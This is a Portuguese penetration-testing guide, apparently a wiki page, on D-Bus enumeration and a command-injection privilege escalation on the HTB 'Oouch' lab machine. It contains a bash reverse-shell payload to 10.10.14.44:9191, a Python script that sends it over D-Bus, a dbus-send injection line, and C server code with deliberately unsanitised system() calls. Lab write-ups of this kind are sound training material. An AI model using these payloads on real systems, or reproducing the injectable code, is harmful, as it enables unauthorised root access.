# D-Bus Enumeration & Command Injection Privilege Escalation
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## **GUI enumeration**
D-Bus é utilizado como o mediador de comunicações entre processos (IPC) em ambientes de desktop Ubuntu. No Ubuntu, a operação simultânea de vários barramentos de mensagens é observada: o barramento do sistema, utilizado principalmente por **serviços privilegiados para expor serviços relevantes em todo o sistema**, e um barramento de sessão para cada usuário logado, expondo serviços relevantes apenas para aquele usuário específico. O foco aqui está principalmente no barramento do sistema devido à sua associação com serviços que operam com privilégios mais altos (por exemplo, root), já que nosso objetivo é elevar privilégios. Nota-se que a arquitetura do D-Bus emprega um 'roteador' por barramento de sessão, que é responsável por redirecionar mensagens de clientes para os serviços apropriados com base no endereço especificado pelos clientes para o serviço com o qual desejam se comunicar.
Os serviços no D-Bus são definidos pelos **objetos** e **interfaces** que expõem. Objetos podem ser comparados a instâncias de classe em linguagens OOP padrão, com cada instância identificada de forma única por um **caminho de objeto**. Este caminho, semelhante a um caminho de sistema de arquivos, identifica de forma única cada objeto exposto pelo serviço. Uma interface chave para fins de pesquisa é a interface **org.freedesktop.DBus.Introspectable**, que possui um único método, Introspect. Este método retorna uma representação XML dos métodos, sinais e propriedades suportados pelo objeto, com foco aqui nos métodos enquanto omite propriedades e sinais.
Para comunicação com a interface D-Bus, duas ferramentas foram empregadas: uma ferramenta CLI chamada **gdbus** para fácil invocação de métodos expostos pelo D-Bus em scripts, e [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), uma ferramenta GUI baseada em Python projetada para enumerar os serviços disponíveis em cada barramento e exibir os objetos contidos em cada serviço.
```bash
sudo apt-get install d-feet
```
Na primeira imagem, os serviços registrados com o barramento de sistema D-Bus são mostrados, com **org.debin.apt** especificamente destacado após selecionar o botão System Bus. O D-Feet consulta este serviço por objetos, exibindo interfaces, métodos, propriedades e sinais para objetos escolhidos, vistos na segunda imagem. A assinatura de cada método também é detalhada.
Uma característica notável é a exibição do **ID do processo (pid)** e da **linha de comando** do serviço, útil para confirmar se o serviço é executado com privilégios elevados, importante para a relevância da pesquisa.
**O D-Feet também permite a invocação de métodos**: os usuários podem inserir expressões Python como parâmetros, que o D-Feet converte em tipos D-Bus antes de passar para o serviço.
No entanto, observe que **alguns métodos requerem autenticação** antes de permitir que os invoquemos. Ignoraremos esses métodos, uma vez que nosso objetivo é elevar nossos privilégios sem credenciais em primeiro lugar.
Também note que alguns dos serviços consultam outro serviço D-Bus chamado org.freedeskto.PolicyKit1 se um usuário deve ser autorizado a realizar certas ações ou não.
## **Enumeração de Linha de Comando**
### Listar Objetos de Serviço
É possível listar interfaces D-Bus abertas com:
```bash
busctl list #List D-Bus interfaces
NAME PID PROCESS USER CONNECTION UNIT SE
:1.0 1 systemd root :1.0 init.scope -
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
:1.3 2609 dbus-server root :1.3 dbus-server.service -
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… -
:1.820 6583 systemd qtc :1.820 user@1000.service -
com.ubuntu.SoftwareProperties - - - (activatable) - -
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
org.bluez - - - (activatable) - -
org.freedesktop.DBus 1 systemd root - init.scope -
org.freedesktop.PackageKit - - - (activatable) - -
org.freedesktop.PolicyKit1 - - - (activatable) - -
org.freedesktop.hostname1 - - - (activatable) - -
org.freedesktop.locale1 - - - (activatable) - -
```
#### Conexões
[Do wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Quando um processo estabelece uma conexão com um barramento, o barramento atribui à conexão um nome de barramento especial chamado _nome de conexão único_. Nomes de barramento desse tipo são imutáveis—é garantido que não mudarão enquanto a conexão existir—e, mais importante, não podem ser reutilizados durante a vida útil do barramento. Isso significa que nenhuma outra conexão a esse barramento terá um nome de conexão único atribuído, mesmo que o mesmo processo feche a conexão com o barramento e crie uma nova. Nomes de conexão únicos são facilmente reconhecíveis porque começam com o caractere de dois pontos—de outra forma proibido.
### Informações do Objeto de Serviço
Então, você pode obter algumas informações sobre a interface com:
```bash
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
```
### List Interfaces of a Service Object
Você precisa ter permissões suficientes.
```bash
busctl tree htb.oouch.Block #Get Interfaces of the service object
└─/htb
└─/htb/oouch
└─/htb/oouch/Block
```
### Introspect Interface of a Service Object
Note como neste exemplo foi selecionada a interface mais recente descoberta usando o parâmetro `tree` (_veja a seção anterior_):
```bash
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block interface - - -
.Block method s s -
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
```
Note o método `.Block` da interface `htb.oouch.Block` (a que nos interessa). O "s" das outras colunas pode significar que está esperando uma string.
### Interface de Monitoramento/Captura
Com privilégios suficientes (apenas os privilégios `send_destination` e `receive_sender` não são suficientes) você pode **monitorar uma comunicação D-Bus**.
Para **monitorar** uma **comunicação** você precisará ser **root.** Se você ainda encontrar problemas sendo root, verifique [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) e [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
{% hint style="warning" %}
Se você sabe como configurar um arquivo de configuração D-Bus para **permitir que usuários não root capturem** a comunicação, por favor **entre em contato comigo**!
{% endhint %}
Diferentes maneiras de monitorar:
```bash
sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
```
No exemplo a seguir, a interface `htb.oouch.Block` é monitorada e **a mensagem "**_**lalalalal**_**" é enviada através de uma má comunicação**:
```bash
busctl monitor htb.oouch.Block
Monitoring bus message stream.
‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};
‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
Sender=:1.3 Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};
```
Você pode usar `capture` em vez de `monitor` para salvar os resultados em um arquivo pcap.
#### Filtrando todo o ruído
Se houver informações demais no barramento, passe uma regra de correspondência assim:
```bash
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
```
Várias regras podem ser especificadas. Se uma mensagem corresponder a _qualquer_ uma das regras, a mensagem será impressa. Assim:
```bash
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
```
```bash
dbus-monitor "type=method_call" "type=method_return" "type=error"
```
Veja a [documentação do D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) para mais informações sobre a sintaxe da regra de correspondência.
### Mais
`busctl` tem ainda mais opções, [**encontre todas elas aqui**](https://www.freedesktop.org/software/systemd/man/busctl.html).
## **Cenário Vulnerável**
Como usuário **qtc dentro do host "oouch" do HTB**, você pode encontrar um **arquivo de configuração D-Bus inesperado** localizado em _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
```xml
```
Nota da configuração anterior que **você precisará ser o usuário `root` ou `www-data` para enviar e receber informações** através desta comunicação D-BUS.
Como usuário **qtc** dentro do contêiner docker **aeb4525789d8**, você pode encontrar algum código relacionado ao dbus no arquivo _/code/oouch/routes.py._ Este é o código interessante:
```python
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
```
Como você pode ver, está **conectando a uma interface D-Bus** e enviando para a **função "Block"** o "client\_ip".
Do outro lado da conexão D-Bus, há um binário compilado em C em execução. Este código está **ouvindo** na conexão D-Bus **por endereços IP e chamando iptables via função `system`** para bloquear o endereço IP fornecido.\
**A chamada para `system` é vulnerável intencionalmente a injeção de comandos**, então um payload como o seguinte criará um shell reverso: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
### Explore-o
No final desta página, você pode encontrar o **código C completo da aplicação D-Bus**. Dentro dele, você pode encontrar entre as linhas 91-97 **como o `caminho do objeto D-Bus`** **e `nome da interface`** são **registrados**. Esta informação será necessária para enviar informações para a conexão D-Bus:
```c
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
```
Além disso, na linha 57 você pode encontrar que **o único método registrado** para esta comunicação D-Bus é chamado `Block`(_**É por isso que na seção seguinte os payloads serão enviados para o objeto de serviço `htb.oouch.Block`, a interface `/htb/oouch/Block` e o nome do método `Block`**_):
```c
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
```
#### Python
O seguinte código python enviará a carga útil para a conexão D-Bus para o método `Block` via `block_iface.Block(runme)` (_note que foi extraído do bloco de código anterior_):
```python
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()
```
#### busctl e dbus-send
```bash
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
```
* `dbus-send` é uma ferramenta usada para enviar mensagens para o “Message Bus”
* Message Bus – Um software usado pelos sistemas para facilitar a comunicação entre aplicações. Está relacionado ao Message Queue (as mensagens são ordenadas em sequência), mas no Message Bus as mensagens são enviadas em um modelo de assinatura e também muito rapidamente.
* A tag “-system” é usada para mencionar que é uma mensagem do sistema, não uma mensagem de sessão (por padrão).
* A tag “–print-reply” é usada para imprimir nossa mensagem de forma apropriada e receber quaisquer respostas em um formato legível por humanos.
* “–dest=Dbus-Interface-Block” O endereço da interface Dbus.
* “–string:” – Tipo de mensagem que gostaríamos de enviar para a interface. Existem vários formatos de envio de mensagens, como double, bytes, booleans, int, objpath. Dentre estes, o “object path” é útil quando queremos enviar um caminho de um arquivo para a interface Dbus. Podemos usar um arquivo especial (FIFO) neste caso para passar um comando para a interface em nome de um arquivo. “string:;” – Isso é para chamar o caminho do objeto novamente onde colocamos o arquivo/comando de shell reverso FIFO.
_Observe que em `htb.oouch.Block.Block`, a primeira parte (`htb.oouch.Block`) refere-se ao objeto de serviço e a última parte (`.Block`) refere-se ao nome do método._
### C code
{% code title="d-bus_server.c" %}
```c
//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
#include
#include
#include
#include
#include
#include
static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;
/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
int command_len = strlen(command);
int host_len = strlen(host);
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}
sprintf(command_buffer, command, host);
/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();
if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}
/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};
int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
* argc (int) Number of arguments, not required
* argv[] (char**) Argument array, not required
*
* Returns:
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
* as long as the user keeps it alive.
*/
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);
sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;
/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}
/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}
/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;
/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}
finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}
```
{% endcode %}
## Referências
* [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
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